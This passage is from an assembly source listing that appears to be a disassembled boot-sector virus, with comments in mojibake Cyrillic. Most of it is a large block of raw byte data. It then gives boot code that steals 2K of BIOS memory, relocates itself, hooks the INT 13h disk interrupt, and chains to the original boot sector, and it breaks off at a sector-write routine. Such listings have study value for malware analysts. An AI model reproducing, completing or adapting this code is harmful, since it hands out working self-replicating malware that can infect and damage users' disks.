  1745.         db 090h,09Fh,09Dh,09Fh,0A1h,080h,076h,068h,053h,04Bh,066h,072h,072h
  1746.         db 086h,099h,097h,0A2h,0ADh,082h,06Ah,064h,05Ah,053h,061h,06Ah,067h
  1747.         db 08Ah,0ABh,0ADh,0ACh,09Bh,0A5h,060h,067h,066h,059h,056h,06Fh,093h
  1748.         db 08Fh,0BFh,0A8h,08Eh,0AFh,0AAh,044h,04Fh,070h,041h,057h,08Dh,084h
  1749.         db 07Dh,0D1h,094h,07Eh,0BEh,088h,02Dh,06Ah,070h,038h,07Bh,0ABh,063h
  1750.         db 0AFh,0A0h,068h,075h,0CDh,064h,013h,087h,068h,02Fh,0ABh,0B4h,037h
  1751.         db 097h,0E0h,050h,097h,0F8h,022h,063h,0D4h,02Ah,07Dh,0E6h,038h,02Fh
  1752.         db 0F9h,080h,047h,0E7h,0DAh,010h,07Fh,084h,034h,0B7h,0B0h,01Dh,035h
  1753.         db 0D7h,0C0h,04Fh,0A1h,0B2h,002h,06Fh,0DEh,014h,087h,040h,001h,077h
  1754.         db 0FFh,0A0h,032h,0BDh,0E2h,05Bh,0D7h,0C0h,000h,095h,02Ah,000h,0A7h
  1755.         db 0C8h,02Ch,057h,0AEh,0C4h,09Fh,0E2h,030h,03Bh,0DCh,04Ah,02Fh,0FCh
  1756.         db 084h,03Ah,0A5h,0D3h,094h,0BBh,0D8h,020h,07Fh,0A0h,018h,033h,0FFh
  1757.         db 06Ch,009h,0A7h,0E2h,03Ah,0AFh,08Ah,000h,087h,068h,020h,09Fh,0D0h
  1758.         db 040h,05Bh,0FFh,088h,03Fh,0D5h,01Ch,027h,0A0h,036h,04Fh,0FFh,0A8h
  1759.         db 042h,0EFh,0D0h,05Eh,0F3h,0A0h,000h,05Bh,045h,03Dh,0F5h,0B4h,01Eh
  1760.         db 057h,0FFh,060h,087h,0DCh,000h,007h,084h,04Ch,07Dh,0FFh,071h,02Dh
  1761.         db 0FFh,0C4h,037h,0CFh,064h,000h,06Fh,038h,03Dh,0FFh,0C0h,034h,09Bh
  1762.         db 0FFh,054h,0A3h,0C2h,000h,05Fh,050h,01Ah,09Fh,0FFh,050h,03Fh,0FFh
  1763.         db 08Ch,073h,0F7h,034h,000h,07Ah,048h,073h,0FFh,080h,029h,0EFh,0D8h
  1764.         db 02Eh,0ABh,068h,000h,08Dh,036h,028h,0F3h,0D8h,044h,08Fh,0FFh,04Ah
  1765.         db 0AFh,0DAh,000h,02Bh,030h,03Fh,0D3h,0E8h,05Ah,07Fh,0FFh,068h,097h
  1766.         db 0E2h,000h,00Bh,021h,03Fh,0A7h,0FFh,06Ch,063h,0FFh,078h,073h,0DFh
  1767.         db 050h,000h,000h,04Dh,09Fh,0FFh,082h,033h,0E7h,0C0h,059h,0AFh,098h
  1768.         db 000h,02Bh,03Fh,062h,0F1h,0A6h,073h,0DFh,0FFh,040h,08Bh,0D0h,000h
  1769.         db 000h,017h,05Fh,0FDh,0FFh,058h,08Fh,0FFh,06Dh,0B7h,0ECh,008h,000h
  1770.         db 027h,07Bh,0C6h,0D2h,075h,097h,0FFh,060h,076h,0C8h,018h,000h,000h
  1771.         db 065h,0AFh,0FFh,096h,073h,0FFh,088h,07Fh,0DAh,040h,000h,000h,07Bh
  1772.         db 09Fh,0E0h,082h,069h,0FFh,0D4h,05Fh,066h,080h,000h,027h,049h,062h
  1773.         db 09Dh,0AAh,099h,0FFh,0F8h,038h,096h,0D4h,000h,000h,027h,077h,0FFh
  1774.         db 0FCh,068h,09Fh,0FFh,065h,0AFh,0D8h,000h,000h,02Fh,09Ah,07Fh,088h
  1775.         db 06Dh,0CFh,0FFh,062h,06Dh,0B1h,028h,000h,019h,065h,0BFh,0F4h,062h
  1776.         db 08Bh,0FFh,084h,077h,0EBh,054h,000h,000h,05Dh,0AFh,0FFh,08Ah,057h
  1777.         db 0FFh,068h,069h,0ABh,084h,000h,000h,065h,099h,0FFh,09Ch,05Bh,0EFh
  1778.         db 0E4h,09Dh,093h,09Ah,000h,000h,07Fh,093h,08Eh,089h,06Ch,0E5h,0FFh
  1779.         db 05Dh,074h,0CFh,038h,000h,023h,079h,09Bh,0DEh,091h,0AFh,0FFh,05Ch
  1780.         db 073h,0A7h,084h,000h,000h,046h,09Fh,0FFh,080h,053h,0DFh,0E4h,077h
  1781.         db 08Ah,0B8h,000h,000h,06Bh,089h,0A4h,084h,085h,0BFh,0FFh,050h,02Bh
  1782.         db 0C7h,068h,000h,00Fh,055h,0B5h,0FFh,0D0h,014h,0CFh,084h,059h,0DDh
  1783.         db 0C0h,000h,000h,08Fh,0B6h,0CBh,09Ah,050h,0D7h,0FFh,026h,055h,0A2h
  1784.         db 008h,000h,03Bh,06Ch,08Ah,0D3h,094h,083h,0FFh,082h,091h,0E7h,060h
  1785.         db 000h,00Ch,095h,082h,09Ch,0B3h,07Ah,0E7h,0FEh,028h,059h,0D7h,058h
  1786.         db 000h,001h,03Fh,0BFh,0FFh,078h,063h,0FFh,086h,0B3h,0FFh,040h,000h
  1787.         db 000h,06Dh,08Fh,0D9h,0A1h,060h,0B3h,0D2h,0C7h,074h,048h,000h,045h
  1788.         db 04Bh,03Bh,097h,0B8h,0A2h,0D3h,0FFh,064h,071h,0CEh,004h,00Bh,01Bh
  1789.         db 052h,07Bh,0C1h,0F6h,0A4h,0C5h,0C0h,065h,072h,0C6h,000h,000h,00Ah
  1790.         db 03Fh,0DFh,0FFh,058h,06Bh,0FAh,044h,0A7h,0FFh,028h,000h,03Bh,0BDh
  1791.         db 0FAh,0FFh,088h,07Bh,0FFh,058h,062h,057h,060h,000h,000h,043h,08Bh
  1792.         db 0FFh,098h,06Ah,0E7h,0D0h,062h,08Ah,0B0h,000h,005h,05Fh,0B5h,0B2h
  1793.         db 0A4h,072h,0D7h,0FFh,038h,087h,088h,01Ch,027h,053h,06Ah,09Dh,0FFh
  1794.         db 070h,075h,0FDh,048h,063h,0C5h,080h,000h,015h,06Bh,0B7h,0FFh,084h
  1795.         db 048h,0A7h,0E0h,061h,0B3h,088h,000h,031h,03Eh,062h,09Bh,0ECh,058h
  1796.         db 05Bh,0FFh,054h,06Bh,0B5h,0A0h,000h,000h,061h,091h,0FFh,090h,043h
  1797.         db 0EFh,0B8h,09Ah,09Fh,0A8h,000h,027h,031h,05Bh,09Ch,0BAh,0B0h,0BFh
  1798.         db 0F5h,04Ah,07Fh,0E5h,042h,000h,000h,056h,0BBh,0FFh,090h,03Fh,0FFh
  1799.         db 090h,0BFh,0D7h,094h,000h,000h,05Fh,08Eh,0FFh,080h,04Eh,0A5h,0D8h
  1800.         db 07Fh,064h,094h,000h,000h,03Bh,088h,074h,068h,0BFh,0FBh,0FFh,04Ah
  1801.         db 05Fh,0A5h,092h,015h,000h,01Fh,07Bh,0FFh,0FFh,052h,0DFh,050h,09Fh
  1802.         db 0D3h,0C0h,000h,000h,053h,08Dh,0FFh,098h,036h,087h,0D4h,08Bh,06Dh
  1803.         db 0B4h,000h,000h,035h,07Dh,0CBh,0F8h,0BAh,074h,0FFh,078h,075h,09Ah
  1804.         db 050h,000h,000h,0AEh,082h,073h,0A6h,0B0h,0FFh,0C8h,03Bh,052h,099h
  1805.         db 032h,000h,023h,044h,07Fh,0FFh,0FFh,058h,087h,046h,07Bh,0F3h,0CAh
  1806.         db 000h,000h,05Fh,0CAh,0FFh,0FEh,024h,077h,0B8h,039h,076h,0B4h,00Eh
  1807.         db 000h,02Bh,08Eh,0ABh,0FFh,070h,063h,0FFh,080h,09Ch,0BBh,054h,000h
  1808.         db 00Fh,06Ah,0A5h,0D6h,09Ah,099h,0DDh,0D4h,056h,067h,094h,000h,000h
  1809.         db 01Dh,066h,0BBh,0FFh,070h,067h,0D0h,06Fh,096h,0DEh,048h,000h,036h
  1810.         db 06Fh,09Ah,0FFh,070h,027h,0C9h,056h,06Ch,08Fh,084h,000h,023h,057h
  1811.         db 086h,0FFh,0F4h,080h,04Fh,0F5h,06Eh,082h,0C9h,020h,000h,003h,05Bh
  1812.         db 099h,0FFh,0C0h,03Ch,0EBh,080h,08Fh,09Dh,0A8h,006h,00Eh,056h,077h
  1813.         db 0DFh,0FFh,060h,07Fh,0B0h,06Eh,062h,0CEh,01Ah,017h,047h,05Dh,085h
  1814.         db 0FFh,0FFh,040h,097h,05Ah,05Eh,06Fh,0B4h,000h,037h,050h,07Fh,0ABh
  1815.         db 0FFh,0D8h,000h,0A7h,040h,047h,07Fh,08Ch,01Ch,023h,06Dh,080h,0C7h
  1816.         db 0FFh,080h,019h,0D2h,030h,056h,09Fh,070h,018h,02Dh,086h,0A8h,0FFh
  1817.         db 0FFh,070h,08Fh,0A0h,03Ch,018h,09Fh,070h,00Ah,053h,095h,099h,0FFh
  1818.         db 0FFh,044h,08Bh,088h,02Dh,00Fh,0ADh,044h,006h,067h,0A2h,085h,0EBh
  1819.         db 0FFh,030h,04Fh,094h,013h,000h,0BBh,035h,037h,083h,08Ch,093h,0FFh
  1820.         db 0FFh,040h,06Dh,0A8h,023h,027h,0AFh,034h,047h,072h,092h,07Fh,0EBh
  1821.         db 0FFh,054h,04Bh,0C0h,039h,044h,09Dh,054h,055h,075h,0C6h,084h,096h
  1822.         db 0FFh,0A0h,033h,0BFh,04Ch,02Ch,056h,08Ah,055h,087h,0B3h,062h,051h
  1823.         db 0C7h,0DCh,02Eh,08Fh,094h,020h,02Ah,07Dh,06Eh,0BDh,0ACh,06Ch,04Ch
  1824.         db 0A3h,0FFh,080h,03Eh,0B3h,030h,02Ah,04Dh,08Eh,04Dh,095h,0A3h,06Ch
  1825.         db 057h,0AFh,0FFh,060h,05Bh,0D5h,032h,04Fh,06Fh,064h,05Eh,0CDh,0A0h
  1826.         db 03Ah,06Fh,0CDh,0C0h,04Ah,082h,0DBh,02Ch,06Dh,04Bh,04Eh,087h,0B8h
  1827.         db 06Bh,058h,07Fh,09Eh,0CCh,072h,073h,0D5h,030h,06Fh,067h,048h,05Bh
  1828.         db 0BAh,09Ch,058h,07Dh,099h,0D4h,094h,06Ch,0C3h,04Ch,079h,03Eh,025h
  1829.         db 06Bh,0D4h,078h,072h,07Bh,07Ah,0BBh,0C1h,04Ah,08Bh,088h,02Bh,058h
  1830.         db 034h,046h,0DDh,09Ah,080h,072h,06Ch,08Fh,0FFh,070h,013h,0B1h,030h
  1831.         db 086h,055h,05Fh,0C7h,0B4h,082h,075h,087h,08Dh,0FFh,078h,000h,0A7h
  1832.         db 058h,07Bh,070h,03Ah,05Bh,0BCh,08Eh,0A8h,0ACh,034h,08Fh,0D8h,028h
  1833.         db 05Bh,0E0h,028h,07Fh,059h,029h,0ABh,0CCh,064h,06Bh,080h,049h,0AFh
  1834.         db 0D0h,023h,07Fh,0B0h,00Eh,089h,061h,02Fh,0B7h,0B2h,070h,092h,088h
  1835.         db 06Fh,0EFh,090h,023h,09Bh,0B4h,035h,08Ch,03Dh,03Fh,0D3h,094h,08Bh
  1836.         db 0C7h,060h,03Bh,0B9h,082h,069h,0CFh,0A0h,027h,084h,02Ah,04Bh,0EFh
  1837.         db 08Ch,07Eh,08Ch,050h,05Fh,0E3h,079h,04Fh,0AFh,078h,01Bh,081h,02Ch
  1838.         db 03Dh,0D3h,078h,077h,0B3h,066h,055h,0BFh,082h,069h,0B2h,0A8h,025h
  1839.         db 08Ah,035h,043h,0D3h,09Ch,07Bh,09Bh,05Ah,03Dh,0AFh,0C6h,07Fh,077h
  1840.         db 07Fh,062h,06Ah,096h,05Dh,073h,0AAh,06Ah,08Ch,08Ah,054h,04Fh,08Eh
  1841.         db 0AAh,07Bh,06Fh,09Ch,070h,05Dh,084h,056h,07Fh,0C5h,085h,073h,060h
  1842.         db 05Ah,071h,0C3h,0A8h,050h,056h,064h,071h,087h,0ACh,04Bh,071h,088h
  1843.         db 074h,0A4h,08Bh,085h,069h,072h,0A9h,090h,067h,07Ch,0A8h,038h,07Fh
  1844.         db 088h,05Bh,07Fh,0A5h,06Ah,073h,0B9h,05Bh,056h,0B2h,05Ah,042h,0A2h
  1845.         db 0CCh,044h,037h,079h,055h,073h,0E2h,0A5h,06Bh,091h,062h,056h,0B7h
  1846.         db 0ACh,051h,05Fh,0A1h,090h,02Eh,0A3h,07Eh,045h,09Fh,0A2h,07Ch,095h
  1847.         db 08Ah,070h,067h,0AEh,074h,055h,0A7h,0DBh,018h,033h,066h,06Ch,07Bh
  1848.         db 0C3h,090h,049h,07Dh,093h,076h,0B3h,0B0h,041h,046h,0A3h,08Dh,02Ah
  1849.         db 08Fh,075h,046h,087h,0B2h,07Bh,07Eh,091h,06Eh,071h,09Fh,08Ah,069h
  1850.         db 070h,092h,08Ah,04Fh,096h,090h,056h,07Dh,090h,084h,07Dh,0A1h,086h
  1851.         db 066h,084h,08Bh,073h,081h,080h,084h,072h,089h,082h,06Bh,06Eh,07Fh
  1852.         db 080h,077h,079h,095h,091h,059h,059h,081h,070h,069h,08Bh,08Eh,088h
  1853.         db 059h,07Ch,06Dh,097h,083h,06Eh,07Fh,087h,093h,087h,078h,05Ch,078h
  1854.         db 098h,07Eh,077h,08Fh,097h,062h,067h,080h,066h,07Eh,0A1h,07Ah,07Dh
  1855.         db 089h,095h,078h,055h,073h,092h,08Ch,077h,07Dh,096h,092h,04Ah,05Fh
  1856.         db 06Eh,087h,092h,08Ch,082h,085h,092h,078h,058h,06Ch,092h,073h,073h
  1857.         db 086h,08Eh,07Fh,05Eh,04Ah,06Ch,073h,092h,0A0h,07Eh,090h,097h,08Bh
  1858.         db 073h,070h,078h,089h,089h,075h,079h,08Fh,08Eh,07Ah,040h,05Fh,07Ch
  1859.         db 086h,085h,0A2h,0A9h,084h,07Fh,075h,05Ch,073h,09Ch,076h,061h,07Fh
  1860.         db 079h,075h,092h,082h,031h,069h,086h,076h,09Fh,0B1h,07Eh,073h,092h
  1861.         db 06Bh,067h,097h,087h,074h,078h,07Ah,085h,099h,065h,067h,088h,054h
  1862.         db 069h,085h,084h,087h,0A3h,08Ch,078h,09Fh,086h,053h,067h,07Ch,068h
  1863.         db 075h,092h,078h,072h,07Ch,062h,07Dh,0AFh,090h,06Bh,07Ch,06Eh,068h
  1864.         db 08Fh,0A0h,078h,06Ah,072h,075h,08Dh,08Ch,07Eh,089h,072h,054h,072h
  1865.         db 08Bh,089h,07Fh,072h,06Bh,08Ah,0A2h,089h,08Fh,085h,066h,071h,093h
  1866.         db 088h,074h,078h,06Dh,070h,08Ah,088h,089h,08Dh,072h,06Bh,080h,078h
  1867.         db 079h,070h,069h,06Ch,07Ch,08Bh,082h,08Bh,078h,06Ah,087h,081h,07Eh
  1868.         db 08Eh,070h,05Fh,079h,085h,07Fh,087h,07Ah,05Fh,08Ah,0A4h,076h,079h
  1869.         db 080h,06Ah,069h,075h,07Eh,093h,0A5h,081h,072h,088h,088h,085h,090h
  1870.         db 078h,060h,071h,07Bh,07Fh,084h,07Ah,068h,07Ah,08Ch,07Fh,07Ah,070h
  1871.         db 068h,076h,07Ch,077h,093h,0A2h,080h,086h,07Dh,07Bh,083h,08Eh,068h
  1872.         db 064h,074h,06Eh,077h,097h,074h,068h,080h,080h,071h,08Bh,07Ch,059h
  1873.         db 079h,08Ah,074h,099h,09Ch,066h,07Fh,0A6h,07Fh,08Fh,0A0h,056h,06Dh
  1874.         db 0A2h,06Ch,07Dh,09Dh,060h,05Fh,098h,072h,063h,097h,088h,048h,07Dh
  1875.         db 085h,069h,0A3h,088h,04Eh,063h,09Fh,091h,077h,08Ch,074h,042h,085h
  1876.         db 09Ch,06Ch,095h,066h,051h,08Fh,0CFh,07Ah,073h,09Ah,080h,065h,097h
  1877.         db 080h,05Ah,081h,04Ch,04Ah,09Eh,09Ch,074h,07Fh,083h,086h,097h,09Ah
  1878.         db 069h,07Fh,08Ch,060h,06Fh,0A0h,077h,06Eh,08Ch,08Eh,07Dh,083h,083h
  1879.         db 064h,07Ah,074h,05Eh,079h,09Fh,07Ah,063h,083h,092h,069h,091h,088h
  1880.         db 052h,075h,070h,069h,08Fh,0A0h,06Bh,074h,0ABh,08Eh,062h,08Dh,066h
  1881.         db 063h,08Ah,071h,07Bh,0BBh,098h,068h,087h,0A4h,077h,097h,08Ch,044h
  1882.         db 056h,069h,071h,0A7h,094h,05Dh,05Eh,0A4h,07Ch,077h,08Eh,05Ch,04Dh
  1883.         db 07Eh,074h,07Bh,0ACh,078h,059h,0A3h,0A4h,060h,082h,084h,049h,075h
  1884.         db 081h,07Eh,0ADh,0A5h,071h,07Fh,0BAh,074h,071h,084h,04Ah,05Bh,073h
  1885.         db 071h,087h,0ADh,07Ch,062h,0ADh,093h,073h,097h,06Ah,03Fh,070h,077h
  1886.         db 07Bh,0B5h,088h,058h,08Bh,0A8h,061h,079h,080h,045h,06Eh,075h,071h
  1887.         db 09Bh,0B2h,072h,06Bh,0B0h,080h,078h,096h,061h,042h,05Fh,073h,08Dh
  1888.         db 0B4h,088h,068h,0A3h,096h,06Fh,08Dh,07Ch,04Ah,05Eh,06Ch,07Fh,0BBh
  1889.         db 0A0h,070h,08Fh,0B0h,07Eh,07Fh,08Ah,040h,030h,063h,086h,0AFh,0ACh
  1890.         db 066h,063h,0B3h,080h,07Ch,07Eh,04Ch,03Fh,059h,079h,096h,09Bh,084h
  1891.         db 077h,0ADh,090h,071h,085h,080h,03Eh,041h,073h,093h,0D3h,0B2h,076h
  1892.         db 091h,09Ah,083h,0A3h,090h,040h,038h,05Bh,08Ah,0A7h,088h,071h,086h
  1893.         db 090h,06Bh,07Eh,083h,052h,043h,057h,08Bh,0BBh,0C0h,080h,07Fh,0AAh
  1894.         db 068h,07Bh,094h,050h,030h,048h,076h,09Dh,0A6h,07Dh,072h,0A7h,07Ah
  1895.         db 069h,07Ah,07Dh,054h,065h,06Ch,085h,0A9h,0AAh,095h,0B2h,09Ch,059h
  1896.         db 089h,0A1h,04Ch,049h,060h,07Eh,0C3h,0C0h,080h,083h,0A9h,067h,07Bh
  1897.         db 08Dh,060h,03Ch,05Ah,085h,081h,07Eh,079h,08Dh,0B3h,060h,05Bh,07Bh
  1898.         db 064h,03Dh,053h,06Ch,093h,0B5h,090h,08Ah,0BBh,07Ah,06Fh,08Fh,076h
  1899.         db 046h,05Fh,070h,087h,0B3h,08Ch,07Ch,0AEh,078h,059h,085h,07Eh,048h
  1900.         db 050h,07Bh,09Dh,0C1h,0A1h,08Fh,09Fh,098h,073h,085h,07Ch,048h,055h
  1901.         db 07Ah,083h,083h,08Bh,08Bh,0A0h,0A8h,068h,06Fh,087h,05Eh,04Ah,061h
  1902.         db 083h,095h,0A1h,090h,08Fh,0A8h,068h,067h,07Fh,062h,03Ah,056h,06Eh
  1903.         db 097h,0B3h,087h,076h,09Fh,096h,06Ah,083h,080h,043h,056h,07Eh,088h
  1904.         db 087h,08Fh,090h,0ADh,0B4h,060h,066h,08Dh,06Dh,044h,05Ch,075h,096h
  1905.         db 0CAh,08Ch,063h,098h,071h,079h,087h,078h,044h,04Bh,083h,097h,09Bh
  1906.         db 08Ah,07Ch,09Eh,0ACh,061h,05Fh,07Fh,062h,04Ah,067h,08Ah,095h,0BBh
  1907.         db 098h,08Ch,0BDh,084h,085h,091h,06Ch,045h,059h,085h,08Bh,095h,08Bh
  1908.         db 083h,0A4h,08Ch,04Dh,06Ah,08Bh,060h,048h,05Eh,07Fh,0ADh,0CCh,07Ch
  1909.         db 068h,09Ch,064h,083h,089h,054h,036h,04Fh,07Dh,096h,0AFh,088h,072h
  1910.         db 086h,0A0h,08Bh,074h,05Bh,04Dh,073h,078h,087h,09Eh,09Dh,092h,0A5h
  1911.         db 0BCh,076h,07Bh,085h,059h,055h,06Ch,081h,093h,0A7h,0A1h,07Bh,07Ch
  1912.         db 084h,06Dh,07Ch,07Bh,042h,039h,057h,07Dh,0C5h,0ACh,05Ah,071h,092h
  1913.         db 06Ah,08Ah,09Fh,061h,046h,06Eh,099h,0BBh,0ABh,076h,073h,0A4h,068h
  1914.         db 069h,06Fh,061h,036h,04Dh,07Bh,09Fh,0D1h,0A2h,081h,0B2h,098h,07Eh
  1915.         db 093h,086h,04Bh,04Dh,077h,08Dh,0A7h,092h,07Ah,09Dh,0A0h,057h,072h
  1916.         db 07Ah,05Ch,063h,065h,06Fh,09Fh,0CDh,08Dh,074h,09Ch,060h,063h,089h
  1917.         db 070h,035h,046h,070h,095h,0C6h,090h,061h,085h,094h,06Ah,07Fh,07Eh
  1918.         db 04Ah,05Ch,066h,076h,0A5h,0BAh,090h,087h,0BAh,082h,07Eh,095h,086h
  1919.         db 04Ch,054h,07Dh,09Eh,0C9h,0A0h,06Ch,093h,086h,065h,073h,078h,03Dh
  1920.         db 058h,065h,06Fh,08Ah,0AAh,090h,094h,0A1h,055h,062h,08Bh,068h,03Eh
  1921.         db 04Ch,06Ch,09Bh,0D8h,090h,06Eh,0ACh,086h,07Dh,092h,076h,044h,052h
  1922.         db 073h,089h,0B9h,096h,06Eh,08Dh,0A2h,065h,06Dh,084h,04Ah,05Dh,079h
  1923.         db 090h,085h,094h,0ADh,0BBh,0C4h,066h,062h,083h,08Eh,056h,054h,068h
  1924.         db 07Bh,0BFh,0BCh,070h,082h,063h,06Eh,08Dh,085h,040h,04Ah,069h,085h
  1925.         db 0BDh,090h,05Ch,075h,09Ah,073h,07Bh,088h,050h,053h,074h,087h,097h
  1926.         db 0ADh,08Eh,085h,0B3h,080h,073h,07Bh,076h,048h,059h,098h,092h,088h
  1927.         db 08Ch,099h,0B6h,0A8h,05Bh,064h,081h,05Ch,050h,058h,066h,085h,0BFh
  1928.         db 0A6h,072h,082h,057h,077h,0A5h,07Ch,04Dh,062h,07Bh,092h,0CAh,088h
  1929.         db 054h,095h,080h,069h,07Bh,080h,04Ch,059h,07Ah,092h,0B5h,0B0h,079h
  1930.         db 08Dh,09Ah,07Fh,07Fh,084h,057h,056h,076h,091h,09Fh,0A2h,088h,08Ah
  1931.         db 0A5h,06Ah,06Dh,075h,05Ch,049h,062h,079h,087h,0BEh,099h,066h,08Eh
  1932.         db 076h,07Eh,08Bh,074h,04Dh,05Bh,077h,089h,0AFh,0A0h,061h,07Bh,082h
  1933.         db 065h,077h,08Eh,068h,068h,073h,08Eh,0A6h,0CAh,08Dh,065h,087h,08Bh
  1934.         db 084h,076h,07Ch,054h,063h,075h,08Ah,0ADh,0B5h,078h,077h,093h,06Fh
  1935.         db 07Bh,086h,060h,05Dh,068h,07Ah,093h,0C5h,08Ch,055h,083h,069h,071h
  1936.         db 076h,072h,056h,05Ch,06Bh,081h,0ADh,0C4h,080h,067h,07Ah,061h,077h
  1937.         db 096h,07Ah,072h,06Dh,07Eh,095h,0C2h,0B8h,064h,06Fh,072h,069h,078h
  1938.         db 09Ah,078h,06Eh,073h,087h,0A7h,0CEh,098h,050h,07Eh,073h,074h,07Dh
  1939.         db 088h,062h,066h,07Fh,091h,09Fh,0C3h,080h,058h,07Eh,060h,065h,081h
  1940.         db 078h,057h,05Fh,088h,08Ch,0A0h,0B5h,076h,057h,070h,058h,070h,094h
  1941.         db 075h,05Ch,077h,09Ch,08Ah,0A3h,0B8h,068h,05Fh,08Ch,06Dh,06Ah,095h
  1942.         db 07Bh,06Bh,085h,093h,08Ah,0AFh,0B0h,064h,05Fh,08Fh,063h,069h,08Fh
  1943.         db 067h,063h,07Dh,08Ah,082h,0A9h,0A8h,05Eh,05Dh,08Ah,060h,06Ah,089h
  1944.         db 074h,073h,07Fh,092h,07Ch,089h,0B3h,081h,05Fh,093h,072h,066h,07Ah
  1945.         db 08Eh,07Eh,089h,094h,080h,07Eh,09Fh,098h,064h,088h,              
  1946. slutt:
  1947.  
  1948. size    equ $-100h
  1949. pgf     equ ($+16)/16
  1950.  
  1951. done
  1952.  
  1953. BIOS_SEG    SEGMENT at 0h
  1954.     org    0020h
  1955. D0020        dw    0
  1956. D0022        dw    0
  1957. INTERR8     label    far
  1958.     org    004Ch
  1959. D004C        dw    0
  1960. D004E        dw    0
  1961.     org    0413h
  1962. D0413        dw    0
  1963. BIOS_SEG    ends
  1964.  
  1965.  
  1966. BOOT_SEG    SEGMENT at  7Ch
  1967.     org    0
  1968. BOOT_PROCESS    label far
  1969. BOOT_SEG    ends
  1970.  
  1971.  
  1972. DISK_ROM    SEGMENT at  0C800h
  1973.     org    256h
  1974. C800_SEG    label    far
  1975. DISK_ROM    ends
  1976.  
  1977.  
  1978.  
  1979.  
  1980.  
  1981. SEG0000 segment public    para    'CODE'
  1982.     assume    CS:SEG0000, ds:SEG0000
  1983.  
  1984. ;***********************************************************;
  1985. ;          ÅÜÉéê æàèÆÄÉ - ìÇùÇïÄ ìÇ éêÉôæÇ            ;
  1986. ;         ìÇîêÉÇ æà ìÇ boot sector ìÇ äêæèÇ            ;
  1987. ;***********************************************************;
  1988. ;  Æ│¬ áñ░Ñ▒║▓ Ñ 0000:7C00 ¿½¿ 07C0:0000
  1989. ;
  1990.     ORG    7C00h
  1991.  
  1992.     JMP    short L7C1E
  1993.  
  1994. D7C02    db    90h
  1995.     db    'IBM  3.1'
  1996.     DB    0
  1997.     DB    2
  1998. D7C0D    DB    2
  1999. D7C0E    DW    1
  2000.     DB    2
  2001.     DB    70h
  2002.     DB    0
  2003. D7C13    DW    2D0h
  2004.     DB    0FDh
  2005.     DB    2
  2006.     DB    0
  2007. D7C18    DW    9    ;Sector per track - SecPTrk
  2008. D7C1A    DW    2    ;Side per track   - SidPTrk
  2009. D7C1C    DW    0
  2010.  
  2011. L7C1E:    XOR    AX,AX
  2012.     MOV    SS,AX
  2013.     MOV    SP,7C00h
  2014.     MOV    DS,AX
  2015.  
  2016.     assume    ds:BIOS_SEG
  2017.     MOV    AX,Word Ptr D0413    ;ìá¼á½┐óá BIOS MEMSIZE ▒ 2
  2018.     SUB    AX,0002h
  2019.     MOV    Word Ptr D0413,AX
  2020.     assume    ds:SEG0000
  2021.  
  2022.     MOV    CL,06h
  2023.     SHL    AX,CL
  2024.     SUB    AX,07C0h
  2025.     MOV    ES,AX            ;ES: ▒Ñú¼Ñ¡▓á ¡á ºáÑ▓¿▓Ñ 2è »á¼Ñ▓
  2026.     MOV    SI,7C00h
  2027.     MOV    DI,SI
  2028.     MOV    CX,0100h
  2029.     REPZ MOVSW            ;¼Ñ▒▓¿ ▒Ñ ▓á¼: ╢ѽ¿┐▓ ▒Ѭ▓«░
  2030.  
  2031.     db    08Eh,0C8h   ;MOV     CS,AX    ;»░Ññáóá │»░áó½Ñ¡¿Ñ▓« ¡á ¡«ó«▓« ¼┐▒▓«
  2032.                     ;CS:7C00 - áñ░Ñ▒ ¡á ¡á╖Ὣ▓« ¡á ¬«ñá
  2033.     PUSH    CS
  2034.     POP    DS
  2035.     CALL    L7C4A
  2036.  
  2037. L7C4A:    XOR    AH,AH            ;RESET ¡á INT 13
  2038.     INT    13h
  2039.     AND    Byte Ptr D7DF8,80h    ;ô▒▓░«⌐▒▓ó«▓« Ñ »║░ó¿ ñ¿▒¬ (A: - floppy
  2040.                     ;                C: - hard
  2041.  
  2042.  
  2043.     MOV    BX,Word Ptr D7DF9    ;ùÑ▓Ñ »║░ó¿┐▓ ▒Ѭ▓«░, ¬║ñÑ▓« Ñ »░«ñ║½-
  2044.     PUSH    CS            ;ªÑ¡¿Ñ▓«
  2045.     POP    AX
  2046.     SUB    AX,0020h
  2047.     MOV    ES,AX            ;adres = (CS - 20h):8000h
  2048.     CALL    L7C9D
  2049.  
  2050.     MOV    BX,Word Ptr D7DF9    ;ùÑ▓Ñ ó▓«░¿┐▓ ▒Ѭ▓«░ «▓ »░«ñ║½ªÑ¡¿Ñ▓«
  2051.     INC    BX            ; (¡«░¼á½¡¿┐▓ BOOT)
  2052.     MOV    AX,0FFC0h        ;adres = 0000:7C00
  2053.     MOV    ES,AX
  2054.     CALL    L7C9D
  2055.  
  2056.     XOR    AX,AX
  2057.     MOV    Byte Ptr D7DF7,AL    ;ù¿▒▓¿ ▒▓á▓│▒-íá⌐▓á (ºá »«▒½Ñ)
  2058.     MOV    DS,AX
  2059.  
  2060.     assume    ds:BIOS_SEG
  2061.     MOV    AX,Word Ptr D004C    ;çá¬á╖óá ▒Ñ ºá INT 13!
  2062.     MOV    BX,Word Ptr D004E
  2063.     MOV    Word Ptr D004C,offset NewINT13
  2064.     MOV    Word Ptr D004E,CS
  2065.     PUSH    CS
  2066.     POP    DS
  2067.     assume    ds:SEG0000
  2068.     MOV    Word Ptr D7D2A,AX    ;çá»áºóá ▒▓á░¿┐▓ áñ░Ñ▒ ¡á INT 13
  2069.     MOV    Word Ptr D7D2C,BX
  2070.  
  2071.     MOV    DL,Byte Ptr D7DF8    ;éºÑ¼á │▒▓░«⌐▒▓ó«▓« ºá BOOT ¿ ▒▓á░▓¿░á
  2072.     jmp     BOOT_PROCESS         ;¡«░¼á½¡¿┐▓ BOOT process
  2073.  
  2074.  
  2075.  
  2076. ;================================================================;
  2077. ;      ÅÉÄâÉÇîÇ çÇ ùàÆàìà  (L7C9D) ê çÇÅêæ (L7C98)         ;
  2078. ;         ìÇ ïÄâêùàæèê æàèÆÄÉ ÄÆ äêæè             ;
  2079. ;----------------------------------------------------------------;
  2080. ;  BX - ▒Ѭ▓«░ «▓¡«▒¡« ¡á╖Ὣ▓«, ¬«⌐▓« ▓░┐íóá ñá ▒Ñ »░«╖Ñ▓Ñ     ;
  2081. ;  ES:8000 - áñ░Ñ▒, ¬║ñÑ▓« ñá ▒Ñ »░«╖Ñ▓Ñ ▒Ѭ▓«░║▓         ;
  2082. ;                                 ;
  2083. ;  D7DF8   - │▒▓░«⌐▒▓ó«, «▓ ¬«Ñ▓« ╖Ñ▓Ñ                 ;
  2084. ;                                 ;
  2085. ;================================================================;
  2086. L7C98:    MOV    AX,0301h
